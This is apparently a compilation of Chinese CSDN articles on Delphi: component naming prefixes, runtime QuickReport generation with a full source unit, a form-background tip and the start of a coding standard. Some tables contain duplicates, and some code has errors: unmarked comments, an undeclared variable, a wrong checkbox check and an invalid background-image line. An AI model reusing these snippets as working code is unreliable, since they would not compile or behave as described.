构件的注册过程应从构件本身的单元中剔除，并放入到一个独立的单元中。这个注册单元可以用来注册任何构件、属性编辑器、构件编辑器、专家器等。

构件的注册只应在设计时刻包中进行，注册单元应包含在设计时刻包中而不应放在运行时刻包中。

推荐使用的注册单元的名称是：
XxxReg.pas
上面的3个前缀字符“Xxx”用来表示一个公司、个人或任何其它的实体。例如，在Delphi 4 开发者指南中的注册单元的名称应为 DdgReg.pas。

7.4 构件实例命名约定

所有的构件都应取个描述性的名称。由Delphi创建的缺省名的构件不会被遗弃。在设计构件类型时应设计一个小写的前缀。使用前缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容易实现。

7.5 构件的前缀

以下构件的前缀可以用来设计Delphi 4中的标准构件。请在此列表中加入第三方构件的前缀。

7.6 Standard页
前缀 构件
mm TMainMenu
pm TPopupMenu
mmi TMainMenuItem
pmi TPopupMenuItem
前缀 构件
lbl TLabel
edt TEdit
mem TMemo
btn TButton
cb TCheckBox
rb TRadioBox
lb TListBox
cb TComboBox
scb TScrollBar
gb TGroupBox
rg TRadioGroup
pnl TPanel
cl TCommandList
7.7 Additional页
bbtn TBitBtn
sb TSpeedButton
me TMaskEdit
sg TStringGrid
dg TDrawGrid
img TImage
shp TShape
bvl TBevel
sbx TScrollBox
clb TCheckListbox
spl TSplitter
stx TStaticText
cht TChart
7.8 Win32页
tbc TTabControl
pgc TPageControl
il TImageList
re TRichEdit
thr TTrackBar
prb TProgressBar
ud TUpDown
hk THotKey
ani TAnimate
dtp TDateTimePicker
tv TTreeView
lv TListView
hdr THeaderControl
前缀 构件
stb TStatusBar
tlb TToolBar
clb TCoolBar
7.9 System页
tm TTimer
pb TPaintBox
mp TMediaPlayer
olec TOleContainer
ddcc TDDEClientItem
ddci TDDEClientItem
ddsc TDDEServerConv
ddsi TDDEServerItem
7.10 Internet页
csk TClientSocket
ssk TServerSocket
wbd TWebDispatcher
pp TPageProducer
tp TQueryTableProducer
dstp TDataSetTableProducer
nmdt TNMDayTime
nec TNMEcho
nf TNMFinger
nftp TNMFtp
nhttp TNMHttp
nMsg TNMMsg
nmsg TNMMSGServ
nntp TNMNNTP
npop TNMPop3
nuup TNMUUProcessor
smtp TNMSMTP
nst TNMStrm
nsts TNMStrmServ
ntm TNMTime
nudp TNMUdp
psk TPowerSock
ngs TNMGeneralServer
html THtml
url TNMUrl
sml TSimpleMail

7.11 Data Access页
前缀 构件
ds TDataSource
tbl TTable
qry TQuery
sp TStoredProc
db TDataBase
ssn TSession
bm TBatchMove
usql TUpdateSQL
7.12 Data Controls页
dbg TDBGrid
dbn TDBNavigator
dbt TDBText
dbe TDBEdit
dbm TDBMemo
dbi TDBImage
dblb TDBListBox
dbcb TDBComboBox
dbch TDBCheckBox
dbrg TDBRadioGroup
dbll TDBLookupListBox
dblc TDBLookupComboBox
dbre TDBRichEdit
dbcg TDBCtrlGrid
dbch TDBChart
7.13 Decision Cube页
dcb TDecisionCube
dcq TDecisionQuery
dcs TDecisionSource
dcp TDecisionPivot
dcg TDecisionGrid
dcgr TDecisionGraph
7.14 QReport页
qr TQuickReport
qrsd TQRSubDetail
qrb TQRBand
qrcb TQRChildBand
qrg TQRGroup
qrl TQRLabel
前缀 构件
qrt TQRText
qre TQRExpr
qrs TQRSysData
qrm TQRMemo
qrrt TQRRichText
qrdr TQRDBRichText
qrsh TQRShape
qri TQRImage
qrdi TQRDBMImage
qrcr TQRCompositeReport
qrp TQRPreview
qrch TQRChart
7.15 Dialogs页
对话框构件是由构件封装的真正的窗体，因此，它们应遵循窗体的命名约定。类型已由构件的名称定义。它的实例的名称是Delphi自动生成的类型实例名字去掉数字后缀。举例如下：
类型 实例名字
TOpenDialog OpenDialog
TSaveDialog SaveDialog
TOpenPictureDialog OpenPictureDialog
TSavePictureDialog SavePictureDialog
TFontDialog FontDialog
TColorDialog ColorDialog
TPrintSetupDialog PrintSetupDialog
TFindDialog FindDialog
TReplaceDialog ReplaceDialog
7.16 Win3.1页
dbll TDBLookupList
dblc TDBLookupCombo
ts TTabSet
ol TOutline
tnb TTabbedNoteBook
nb TNoteBook
hdr THeader
flb TFileListBox
dlb TDirectoryListBox
dcb TDriveComboBox
fcb TFliterComboBox
7.17 Samples页
gg TGauge
前缀 构件
cg TColorGrid
spb TSpinEdit
spe TSpinEdit
dol TDirectoryOutline
cal TCalendar
ibea TIBEventAlerter
7.18 ActiveX页
cfx TChartFX
vsp TVSSpell
f1b TF1Book
vtc TVTChart
grp TGraph
7.19 Midas页
prv TProvider
cds TClientDataSet
qcds TQueryClientDataSet
dcom TDCOMConnection
olee TOleEnterpriseConnection
sck TSocketConnection
rms TRemoteServer
mid TMidasConnection


CSDN_文档中心_Delphi程序执行时实时生成报表

作者：刘建华

Delphi程序执行时实时生成报表

当前，在软件开发工具中，Delphi以其控件多、面向对象编程功能强、代码执行速度快和简单易用等特点，结合可视化开发环境和当前最快的编译器技术，已成为全球公认的快速应用开发工具，正被愈来愈多的编程人员所采用。使用Delphi可以编写各种Windows应用程序，尤其是开发数据库信息管理系统有其独特的优势。在数据库信息管理系统的开发的过程中，我们经常需要打印输出很多报表，用Delphi设计复杂报表是一件比较烦锁的事件，它没有Visual FoxPro中那样简便。但由于Delphi中设计报表采用的也是控件，因此，我们可以在程序执行时直接建立所需的报表控件来实时生成报表，而且，生成的报表样工可以由程序控制来决定。例如，我们在数据库信息查询时，查询出来的结果信息结构一般是不固定的，假如我们要将查询结果打印出来，只设计一种报表格式是不行的，为所有可能的结果信息都设计一种报表格式也不是一种很好的解决办法。为了解决这样一个问题，我们可以采用实时生成报表技术。本文的目的就是通过一个实例向大家详细介绍怎样实时生成报表。
本例所将设计一个打印对话框，该对话框包括TQickRep控件和一些报表样式控制控件，其它窗体外观如下图所示：
1、 控件功能说明
QuickRep:TQuickRep 它包括列标头(HB:TQRBand)、细节(DB:TQRBand)、页脚(FB:TQRBand)、总结(SB:TQRBand)带区，并且细节、页脚、总结中没有包括一个TQRLabel、TQRExpr或TDBText控件，主要是在程序执行时建立，列标头带区中包括Title(TQRLabel)用于报表标题；QRSQL: TQRLabel用于查询条件，这两个控件的Caption属性在程序执行时可任意更改。为了能够让QuickRep不显示出来，将其置于Panel1(Tpanel)的后面，并将Panel1扩展到整个窗体；
Query:TQuery SQL语句控件，程序将根据Query返回的结果来生成报表。因此，在建立这个窗体时，一定要将Query.SQL属性指定一条SQL语句；
在以上窗体中“纸张”和“页面设置”两栏所包括的控件是对QuickRep.Page属性的控制，程序执行时更改它们会直接改变QuickRep控件相应的属性值，这可以通过OnChange或OnExit事件代码完成；
“打印内容设置”栏中的标题是指定报表的标题（TT:TEdit），其值与QuickRep.ReportTitle和Title.Caption一致，可以任意更改；“打印查询条件”复选框指定是否打印查询条件，该复选框的选取否直接控制QRSQL.Caption是否为空；“表列对齐方式”由一组选项按钮组成，它主要用于报表生成时细节内容的对齐方式，它的更改控制变量RD1（Byte）的值(0自动对齐,1中间对齐,2左边对齐)；“表列打印宽度”由一组选项按钮组成，主要用于在生成报表格式时列值的宽度，它的更改控制变量RD2（Byte）的值(0自动宽度,1相同宽度,2限制最大宽度)，当选中1相同宽度,2限制最大宽度时要求输入宽度，单位为像素；“统计方式”指出报表是否包含页脚(FB:TQRBAND)和总和(SB:TQRBAND)带区。
2、 程序说明
程序定义了如下类型：
TQRLabelName=array of TQRLabel;
TQRDBTextName=array of TQRDBText;
TQRShapeName=array of TQRShape;
TQRExpName=array of TQRExpr;
上述类型为动态数组类型，数据的每个元素为一个类。在实时建立报表控件时，要建立的控件个数是不确定的且控制名称也不能确定，用动态数组是一个比较好的解决办法，即可以任意指定数据的维数，又不用自己管理内存分配问题，还有利于报表包含控件的释放与处理。程序还声明了上述类型的变量如下：
CHBName:TQRLabelName;
DBName:TQRDBTextName;
CHBShape,DBShape,FBShape,SumShape:TQRShapeName;
FBName,SumName:TQRExpName;
这些数组变量将在窗体建立时根据Query返回的字段结果分配内存，每一个字段对就数组的一个元素。
程序执行过程：窗体在建立并显示时，就对本窗体建立初始化操作。在OnCreate事件中将QuickRep.Page属性的相应值显示出来，在OnShow事件中执行Query.Open操作，并根据返回结果分配控件数组变量空间。窗体建立后，单击“生成”按钮生成报表(忽略备注字段和相片字段)，然后可单击“打印”和“预览”进行打印或者预览报表。当产生报表后又更改了设置，必须重新生成报表。如果Query返回的结果集字段太多，生成报表时有可能纸张矿小不能将生成全部报表，可调整报表纸张大小，再生成报表。当关闭窗体时，将释放建立的控件。
3、 源程序清单及注释
unit PrintDlg;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Buttons, ExtCtrls, Spin, QuickRpt,QRPrntr,printers, Qrctrls,
Db, DBTables, ComCtrls,SysIni;
type
TQRLabelName=array of TQRLabel;//列标头带区中列标题控制件类动态数组
TQRDBTextName=array of TQRDBText; //细节带区中列标题控制件类动态数组
TQRShapeName=array of TQRShape; //线条控制件类动态数组
TQRExpName=array of TQRExpr; //统计控制件类动态数组
TPrintForm = class(TForm)
GroupBox1: TGroupBox;
Label5: TLabel;
BtnSet: TbitBtn;//“设置”按钮控件
BtnCancel: TBitBtn;// “关闭”按钮控件
Panel1: TPanel;
BtnPrint: TBitBtn;// “打印”按钮控件
BtnPrview: TBitBtn;// “预览”按控件钮
QuickRep: TQuickRep;// 快速报表控件
HB: TQRBand;// “列标头”带区控件
Title: TQRLabel;// 报表标题控件
QRE1: TQRExpr;// 列标头带区中“页码”控件
QRE2: TQRExpr;//列标头带区中“日期”控件
Panel2: TPanel;
Label1: TLabel;
R1: TRadioButton;//“ 纵向打印”控件
R2: TRadioButton;// “横向打印”控件
GroupBox4: TGroupBox;
TT: TEdit;// 标题输入框控件
Label2: TLabel;
SR: TCheckBox;// “打印查询条件”控件
Label3: TLabel;
Image1: TImage;//显示纵向打印图像
Image2: TImage;//显示横向打印图像
QRSQL: TQRLabel;// 列标头带区中用于显示“查询条件”控件
GroupBox2: TGroupBox;
Label7: TLabel;
Label8: TLabel;
Label9: TLabel;
Label10: TLabel;
Label11: TLabel;
Label12: TLabel;
Label13: TLabel;
PageSpace: TEdit;// 栏间距输入框控件
PageTop: TEdit;// 页边距上输入框控件
PageBottom: TEdit; // 页边距下输入框控件
PageLeft: TEdit; // 页边距左输入框控件
PageRight: TEdit; // 页边距右输入框控件
PageDlux: TCheckBox; // “双面打印”控件
PageCol: TEdit; // 分栏输入框控件
Pages: TEdit; // 打印份数输入框控件
PaperH: TEdit; // 纸张长度输入框控件
PaperW: TEdit;//纸张宽度输入框控件
Label4: TLabel;
Label6: TLabel;
Ps: TComboBox;//纸张型号列表框控件
Query: TQuery;//SQL查询控件
DB: TQRBand;// “细节”带区控件
CrtRep: TBitBtn; // “生成”按钮控件
Label14: TLabel;
Label15: TLabel;
Panel3: TPanel;
Wdauto: TRadioButton; // “自动宽度”控件
Wdall: TRadioButton; // “相同宽度”控件
Wdmax: TRadioButton; // “限制最在宽度”控件
Label16: TLabel;
ColWd: TEdit; // 列宽输入框控件
Panel4: TPanel;
DJAUTO: TRadioButton; // “自动对齐”控件
DJCENTER: TRadioButton; // “中间中齐”控件
DJLEFT: TRadioButton; // “左边对齐”控件
FB: TQRBand; // 页脚带区控件
Label17: TLabel;
Panel5: TPanel;
TJ1: TCheckBox; // “每页统计”控件
TJ2: TCheckBox; // “统计总和”控件
SB: TQRBand; // 总和带区控件
procedure FormCreate(Sender: TObject);
procedure RadioButtonClick(Sender: TObject);
procedure PageDluxClick(Sender: TObject);
procedure PageColChange(Sender: TObject);
procedure PageSpaceExit(Sender: TObject);
procedure PagesChange(Sender: TObject);
procedure PageTopExit(Sender: TObject);
procedure PageBottomExit(Sender: TObject);
procedure PageLeftExit(Sender: TObject);
procedure PageRightExit(Sender: TObject);
procedure TTExit(Sender: TObject);
procedure DTClick(Sender: TObject);
procedure BtnPrviewClick(Sender: TObject);
procedure BtnSetClick(Sender: TObject);
procedure PsChange(Sender: TObject);
procedure PaperChange(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
procedure CreateReport(Sender: TObject);
procedure SRClick(Sender: TObject);
procedure ClearRep();
procedure FormShow(Sender: TObject);
procedure PaperSizeChg(Sender: TObject);
procedure DJChage(Sender: TObject);
procedure WdChage(Sender: TObject);
procedure QuickRepStartPage(Sender: TCustomQuickRep);
procedure BtnPrintClick(Sender: TObject);
private
{ Private declarations }
CHBName:TQRLabelName;//定义列标头带区控件名动态数组名
DBName:TQRDBTextName; //定义细节带区控件名动态数组名
CHBShape,DBShape,FBShape,SumShape:TQRShapeName; //定义线条控件动态数组名
FBName,SumName:TQRExpName; //定义页脚(FBNAME)和总和带区(SUMNAME)控件名动态数组名
DJ:TAlignment;//列对齐方式(taLeftJustify, taRightJustify, taCenter)
Rd1,Rd2:Byte;//用于保存表列对齐方式(RD1)和打印宽度(RD2)状态变量名
public
{ Public declarations }
CXTJ,BT:String;//CXTJ存放查询条件,BT存放报表标题
//由上一级窗体指定
end;

const
PaperSize:array[0..26] of TQRPaperSize=(A3, A4, A4Small, A5, B4, B5, Letter,
LetterSmall, Tabloid, Ledger, Legal,Statement, Executive, Folio,
Quarto, qr10X14, qr11X17, Note, Env9, Env10, Env11, Env12,
Env14, CSheet, DSheet, ESheet, Custom);
//QuickRep所列出的纸张类型

var
PrintForm: TPrintForm;

implementation

{$R *.DFM}

procedure TPrintForm.FormCreate(Sender: TObject);
//将QuickRep.Page属性以及其它属性值显示出来
var
I:Byte;
begin
PageCol.Text:=IntToStr(QuickRep.Page.Columns);
PageSpace.Text:=FormatFloat('0.00',QuickRep.Page.ColumnSpace);
PageTop.Text:=FormatFloat('0.00',QuickRep.Page.TopMargin);
PageBottom.Text:=FormatFloat('0.00',QuickRep.Page.BottomMargin);
PageLeft.Text:=FormatFloat('0.00',QuickRep.Page.LeftMargin);
PageRight.Text:=FormatFloat('0.00',QuickRep.Page.RightMargin);
PageSpace.Text:=FormatFloat('0.00',QuickRep.page.ColumnSpace);
R1.Checked:=QuickRep.Page.Orientation=poPortrait;
Image1.Visible:=R1.Checked;
R2.Checked:=QuickRep.Page.Orientation=poLandscape;
Image2.Visible:=R2.Checked;
PageDlux.Checked:=QuickRep.PrinterSettings.Duplex;
Pages.Text:=IntToStr(QuickRep.PrinterSettings.Copies);
PaperH.Text:=FormatFloat('0.00',QuickRep.Page.Length);
PaperW.Text:=FormatFloat('0.00',QuickRep.Page.Width);
For I:=0 to 26 do //PS列表框显示纸张类型
if QuickRep.Page.PaperSize=PaperSize[I] then begin
PS.ItemIndex:=I;
Break;
end;
//判断纸张宽度是否可以更改,只有纸张类型为自定义(Ps.ItemIndex=26)才能更改
PaperH.Enabled:=Ps.ItemIndex=26;
PaperW.Enabled:=Ps.ItemIndex=26;
end;

procedure TPrintForm.RadioButtonClick(Sender: TObject);
//纸张方向改变事件处理
var
S:String;
begin
Image1.Visible:=R1.Checked;
Image2.Visible:=R2.Checked;
if R1.Checked then
QuickRep.Page.Orientation:=poPortrait
else
QuickRep.Page.Orientation:=poLandscape;
//交换纸张宽度和长度的值
S:=PaperH.Text;
PaperH.Text:=PaperW.Text;
PaperW.Text:=S;
if (Ps.ItemIndex=26) or (Ps.ItemIndex=0) then begin
QuickRep.Page.Width:=StrToFloat(PaperW.Text);
QuickRep.Page.Length:=StrToFloat(PaperH.Text);
end;
end;

procedure TPrintForm.PageDluxClick(Sender: TObject);
begin
QuickRep.PrinterSettings.Duplex:=PageDlux.Checked;
end;

procedure TPrintForm.PageColChange(Sender: TObject);
begin
if StrToInt(PageCol.Text)<1 then PageCol.Text:='1';
QuickRep.Page.Columns:=StrToInt(PageCol.Text);
end;

procedure TPrintForm.PageSpaceExit(Sender: TObject);
begin
QuickRep.Page.ColumnSpace:=StrToFloat(PageSpace.Text);
end;

procedure TPrintForm.PagesChange(Sender: TObject);
begin
if StrToInt(Pages.Text)<1 then Pages.Text:='1';
QuickRep.PrinterSettings.Copies:=StrToInt(Pages.Text);
end;

procedure TPrintForm.PageTopExit(Sender: TObject);
begin
QuickRep.Page.TopMargin:=StrToFloat(PageTop.Text);
end;

procedure TPrintForm.PageBottomExit(Sender: TObject);
begin
QuickRep.Page.BottomMargin:=StrToFloat(PageBottom.Text);
end;

procedure TPrintForm.PageLeftExit(Sender: TObject);
begin
QuickRep.Page.LeftMargin:=StrToFloat(PageLeft.Text);
end;

procedure TPrintForm.PageRightExit(Sender: TObject);
begin
QuickRep.Page.RightMargin:=StrToFloat(PageRight.Text);
end;

procedure TPrintForm.TTExit(Sender: TObject);//标题更改事件处理
begin
QuickRep.ReportTitle:=TT.Text;
Title.Caption:=TT.Text;
Bt:=TT.Text;
end;

procedure TPrintForm.DTClick(Sender: TObject);//打印查询条件复选框事件
begin
QRSQL.Enabled:=SR.Checked;
end;

procedure TPrintForm.BtnPrviewClick(Sender: TObject);//预览按钮单击事件
begin
QuickRep.Preview;
end;

procedure TPrintForm.BtnSetClick(Sender: TObject); //设置按钮单击事件
begin
QuickRep.PrinterSetup;
end;

procedure TPrintForm.PsChange(Sender: TObject);//纸张类型改变事件
begin
QuickREp.Page.PaperSize:=PaperSize[Ps.ItemIndex];
PaperH.Text:=FormatFloat('0.00',QuickRep.Page.Length);
PaperW.Text:=FormatFloat('0.00',QuickRep.Page.Width);
PaperH.Enabled:=Ps.ItemIndex=26;
PaperW.Enabled:=Ps.ItemIndex=26;
CrtRep.Enabled:=True;
BtnPrint.Enabled:=not CrtRep.Enabled;
BtnPrview.Enabled:=BtnPrint.Enabled;
end;

procedure TPrintForm.PaperChange(Sender: TObject);//纸张宽度和长度改变事件
begin
QuickRep.Page.Width:=StrToFloat(PaperW.Text);
QuickRep.Page.Length:=StrToFloat(PaperH.Text);
end;

procedure TPrintForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caFree;
end;

procedure TPrintForm.FormDestroy(Sender: TObject);
begin
ClearRep;
PrintForm:=nil;
end;

procedure TPrintForm.CreateReport(Sender: TObject);//生成按钮单击事件
Var
I,L:Byte;
CHBtp,CHBlf,Cd,ObWidth:Word;
begin
Screen.Cursor:=crHourGlass;
Title.Caption:=Bt;//设置标题
ClearRep(); //清除已经建立的对象;
if Sr.Checked then QrSQL.Caption:=CXTJ else QRSQL.Caption:='';//是否打印查询条件?
CHBtp:=HB.Height-17;//建立的控件在带区中的顶部位置
CHBlf:=0; //建立的控件在带区中的左边位置
ObWidth:=0; //建立的控件的宽度
for I := 0 to Query.FieldCount-1 do //根据Query返回字段数建立控件
begin
if (Query.Fields[I].DataType<>ftBlob) And (Query.Fields[I].DataType<>ftMemo) then
begin //忽略备注字段和相片字段
L:=Query.Fields[I].DataSize-1;//L=字段宽度(字节)-1
case Rd1 of //根据选择的对齐方式设置控件的对齐方式
0: if L<=10 then Dj:=taCenter else DJ:=taLeftJustify;
//自动对齐:字段小于等于10居中对齐,否则左边对齐
1: Dj:=taCenter;//居中对齐
2: DJ:=taLeftJustify;//左边对齐
end;
case Rd2 of //根据选择的列表宽度设置报表列宽度
0: begin
//自动宽度:如果L>14则宽度ObWidth=14+(L-14)/2;如果ObWidth
//的宽度不能显示列标题,则ObWidth=列标题宽度;如果字段类型
//为日期型、货币型和浮点数型,则ObWidth=65
if L>14 then L:=14+(L-14) div 2;
ObWidth:=L*6;
L:=Length(Query.Fields[I].DisplayName);
if ObWidth<L*6 then ObWidth:=L*6;
ObWidth:=ObWidth+2;
if (Query.Fields[I].DataType=ftDateTime) or
(Query.Fields[I].DataType=ftFloat) or
(Query.Fields[I].DataType=ftCurrency) then ObWidth:=65;
end;
1: if ColWd.Text<>'' then ObWidth:=StrToInt(ColWd.Text)
else ObWidth:=100;//相同宽度:ObWidth=输入宽度值
2: begin //限制最大宽度:首先按自动宽度计算再判断宽度是否超最大值,
//如果超过则ObWidth=最大宽度输入值
if ColWd.Text<>'' then Cd:=StrToInt(ColWd.Text)
else Cd:=200;
ObWidth:=L*6;
if ObWidth>Cd then ObWidth:=Cd;
ObWidth:=ObWidth+2;
if (Query.Fields[I].DataType=ftDateTime) or
(Query.Fields[I].DataType=ftFloat) or
(Query.Fields[I].DataType=ftCurrency) then ObWidth:=65;
end;
end;

if CHBlf+ObWidth>=HB.Width then begin //建立控件>纸宽?
DlgMes:='纸张宽度不够，请更改纸张尺寸。';
MessageBox(Handle,DlgMes,Cap_Inf,Ico_Inf);
break;
end
else begin
CHBShape[I]:=TQRShape.Create(HB);//建立列标头带区线条控件
CHBShape[I].Parent:=HB;
CHBShape[I].Top:=CHBtp;
CHBShape[I].Left:=CHBlf;
CHBShape[I].Width:=ObWidth+1;
CHBShape[I].Height:=17;

CHBNAME[I]:=TQRLabel.Create(HB); //建立列标题控件
CHBNAME[I].Parent:=HB;
CHBNAME[I].Top:=CHBtp+2;
CHBNAME[I].Left:=CHBlf+1;
CHBNAME[I].AutoSize:=False;
CHBNAME[I].Width:=ObWidth-1;
CHBNAME[I].Alignment:=taCenter;
CHBNAME[I].Caption:=Query.Fields[I].DisplayName;//取字段作为列名
CHBNAME[I].BringToFront;

DBShape[I]:=TQRShape.Create(DB); //建立细节带区线条控件
DBShape[I].Parent:=DB;
DBShape[I].Top:=-1;
DBShape[I].Left:=CHBlf;
DBShape[I].Width:=ObWidth+1;
DBShape[I].Height:=17;

DBNAME[I]:=TQRDBText.Create(DB); //建立细节带区控件
DBNAME[I].Parent:=DB;
DBNAME[I].ParentReport:=QuickRep;
DBNAME[I].Top:=2;
DBNAME[I].Left:=CHBlf+2;
DBNAME[I].AutoSize:=False;
DBNAME[I].Width:=ObWidth-3;
DBNAME[I].Height:=13;
DBNAME[I].Alignment:=Dj;
DBNAME[I].DataSet:=Query;
DBNAME[I].DataField:=Query.Fields[I].FieldName;
DBNAME[I].BringToFront;

if Tj1.Checked then begin //是否建立页脚带区?
FBShape[I]:=TQRShape.Create(FB); //建立页脚带区线条控件
FBShape[I].Parent:=FB;
FBShape[I].Top:=0;
FBShape[I].Left:=CHBlf;
FBShape[I].Width:=ObWidth+1;
FBShape[I].Height:=17;

if (Query.Fields[I].DataType=ftFloat) or
(Query.Fields[I].DataType=ftCurrency) or (I<2) then
begin //如果字段类型为数值类型则建立
FBNAME[I]:=TQRExpr.Create(FB); //建立页脚带区控件
FBNAME[I].Parent:=FB;
FBNAME[I].ParentReport:=QuickRep;
FBNAME[I].Top:=3;
FBNAME[I].Left:=CHBlf+2;
FBNAME[I].AutoSize:=False;
FBNAME[I].Width:=ObWidth-3;
FBNAME[I].Height:=13;
FBNAME[I].Alignment:=taCenter;
FBNAME[I].Expression:='SUM(QUERY.'+Query.Fields[I].FieldName+')';
FBNAME[I].BringToFront;
end;
end;

if Tj2.Checked then begin //是否建立总和带区?
SumShape[I]:=TQRShape.Create(SB); //建立总和带区线条控件
SumShape[I].Parent:=SB;
SumShape[I].Top:=0;
SumShape[I].Left:=CHBlf;
SumShape[I].Width:=ObWidth+1;
SumShape[I].Height:=17;

if (Query.Fields[I].DataType=ftFloat) or
(Query.Fields[I].DataType=ftCurrency) or (I<2) then
begin //如果字段类型为数值类型则建立
SumNAME[I]:=TQRExpr.Create(SB); //建立总和带区控件
SumNAME[I].Parent:=SB;
SumNAME[I].ParentReport:=QuickRep;
SumNAME[I].Top:=3;
SumNAME[I].Left:=CHBlf+2;
SumNAME[I].AutoSize:=False;
SumNAME[I].Width:=ObWidth-3;
SumNAME[I].Height:=13;
SumNAME[I].Alignment:=taCenter;
SumNAME[I].Expression:='SUM(QUERY.'+Query.Fields[I].FieldName+')';
SumNAME[I].BringToFront;
end;
end;
CHBlf:=CHBlf+ObWidth;//当前字段处理完成,往右一个字段宽度
end;
end;
end;
CrtRep.Enabled:=False;//禁上生成按钮
BtnPrint.Enabled:=not CrtRep.Enabled;允许打印铵钮
BtnPrview.Enabled:=BtnPrint.Enabled;允许预览按钮
if Tj1.Checked then begin //如果建立了页脚带区,则将页脚带区中前两列更改
FBNAME[0].Expression:='''页合计''';
FBNAME[1].Expression:='COUNT+''行''';
end;
if Tj1.Checked then begin //如果建立了总和带区,则将总和带区中前两列更改
SumNAME[0].Expression:='''总计''';
SumNAME[1].Expression:='COUNT+''行''';
end;
//调整列标头带区中的日期及页码打印位置
QRE2.Left:=HB.Width-Qre2.Width;
QRSQL.Left:=QRE1.Width+10;
QRSQL.Width:= QRE2.Left-10-QRSQL.Left;
QuickRep.DataSet:=Query; //为QuickRep指定数据集,该句一定不能少
Screen.Cursor:=crDefault;
end;

procedure TPrintForm.ClearRep();//清除生成报表格式时建立的控件
Var
I:Byte;
begin
For I:=0 to Query.FieldCount-1 do begin
if Assigned(CHBShape[I]) then begin CHBShape[I].Free;CHBShape[I]:=nil;end;
if Assigned(CHBNAME[I]) then begin CHBNAME[I].Free;CHBNAME[I]:=nil;end;
if Assigned(DBShape[I]) then begin DBShape[I].Free;DBShape[I]:=nil;end;
if Assigned(DBNAME[I]) then begin DBNAME[I].Free;DBNAME[I]:=nil;end;
if Assigned(FBShape[I]) then begin FBShape[I].Free;FBShape[I]:=nil;end;
if Assigned(FBNAME[I]) then begin FBNAME[I].Free;FBNAME[I]:=nil;end;
if Assigned(SumShape[I]) then begin SumShape[I].Free;SumShape[I]:=nil;end;
if Assigned(SumNAME[I]) then begin SumNAME[I].Free;SumNAME[I]:=nil;end;
end;
end;

procedure TPrintForm.SRClick(Sender: TObject);
begin
if Sr.Checked then QrSQL.Caption:=CXTJ else QRSQL.Caption:='';
end;

procedure TPrintForm.FormShow(Sender: TObject); //窗体显示事件
begin
Query.Active:=True;//打印SQL
TT.Text:=Bt;
QuickRep.ReportTitle:=Bt;//设置标题
//控件名数组分配空间
SetLength(CHBNAME,Query.FieldCount);
SetLength(CHBShape,Query.FieldCount);
SetLength(DBNAME,Query.FieldCount);
SetLength(DBShape,Query.FieldCount);
SetLength(FBNAME,Query.FieldCount);
SetLength(FBShape,Query.FieldCount);
SetLength(SumNAME,Query.FieldCount);
SetLength(SumShape,Query.FieldCount);
end;

procedure TPrintForm.PaperSizeChg(Sender: TObject);
begin
CrtRep.Enabled:=True;
BtnPrint.Enabled:=not CrtRep.Enabled;
BtnPrview.Enabled:=BtnPrint.Enabled;
end;

procedure TPrintForm.DJChage(Sender: TObject);//对齐方式改变事件处理
var
Chg:Byte;
begin
if Djauto.Checked then Chg:=0
else if DjCenter.Checked then Chg:=1
else Chg:=2;
if Chg<>Rd1 then begin PaperSizeChg(nil);Rd1:=Chg;end;
end;

procedure TPrintForm.WdChage(Sender: TObject);//宽度改变事件处理
var
Chg:Byte;
begin
if Wdauto.Checked then Chg:=0
else if Wdall.Checked then begin
Chg:=1;
if ColWd.Text='' then ColWd.Text:='100';
end
else begin
Chg:=2;
if ColWd.Text='' then ColWd.Text:='200';
end;
if Chg<>Rd2 then begin PaperSizeChg(nil);Rd2:=Chg;end;
ColWd.Enabled:=Chg<>0;
end;

procedure TPrintForm.QuickRepStartPage(Sender: TCustomQuickRep);
//报表打印开始新页事件处理,页脚带区中的统计值清空
Var
I:Byte;
begin
if Tj1.Checked then
For I:=0 to Query.FieldCount-1 do
if Assigned(FBNAME[I]) then FBNAME[I].Reset;
end;

procedure TPrintForm.BtnPrintClick(Sender: TObject);
begin
QuickRep.Print;
end;
end.
4、 调用对话框举例：
首先在将要调用的窗体中的USES语句中包含PrintDlg单元，然后可以用如下代码调用：
if not assigned(PrintForm) then PrintForm:=TPrintForm.Create(Application);
PrintForm.Query.SQL.Assign(Query.SQL);
//如果调用窗体不包含Query控件,可直接设置SQL语句的值
PrintForm.Bt:=报表标题;
PrintForm.Caption:=窗体标题;
PrintForm.CXTJ:=查询条件;
PrintForm.ShowModal;
5、 结束语
此程序关键是CreateReport事件过程和动态控件名称的处理。由于编幅所限，有些内容没有说明，希望读者自行体会。对于一般的报表生成，此程序能够满足要求。

本人有最新版本，功能更强，有需要的朋友可发邮件给我，一定邮的。


CSDN_文档中心_delphi窗体图体画法 之我见!

在DELPHI论坛看到许多朋友问到有关背景图片的问题由于DELPHI的FORM不带背景属性,所以要使用背景图片有一点小技巧:

在窗体上加一image组件,设置它的picture属性为你想铺的图片,(必须是bmp图片),并将它的visible设为false;

在FORMCREATE,和formpaint事件中加入以下代码:

form1.brush.canvas.bitmap:=image1.brush.bitmap;

这样,就可以把你的图片加到窗体上了.

看看我的一个程序的界而,就是这么加的:


CSDN_文档中心_delphi代码标准文档(

1.前言

本文档主要是为Delphi开发人员提供一个源代码书写标准，以及程序和文件的命名标准，使他们在编程时有一致格式可遵循。这样，每个编程人员编写的代码能够被其他人理解。

2.源程序书写规范

2.1.通用源代码格式规则

1). 缩进

缩进就是每级间有两个空格。不要在源代码中放置制表符。这是因为，制表符的宽度随着不同的设置和代码管理实用程序(打印、文档及版本控制等)而不同。

通过使用Tools|Environment 菜单，在Environment Options 对话框的General页上，不要选中Use Tab Character 和Optional Fill 复选框，这样，制表符就不会被保存。

2). 边距

边距设置为80个字符。源代码一般不会因写一个单词而超过边距，但本规则比较灵活。只要可能，长度超过一行的语句应当用逗号或运算符换行。换行后，应缩进两个字符。

3). begin...end 语句

begin 语句必须单独占一行。例如，下面第一行是错误的，而第二行正确：

for i:=0 to 10 do begin // 错, begin 与f o r 在同一行

for i:=0 to 10 do // 对, begin 在另外一行中
begin

本规则的一个特殊情况是，当begin 为else 语句的一部分时，例如：

if some statement = then
begin
. . .
end
else begin
Some Other Statement;
end;

注意：end 语句总单独一行。当begin 不为else 语句的一部分时，相应的end 语句与begin 语句的缩进量相同。

4).注释

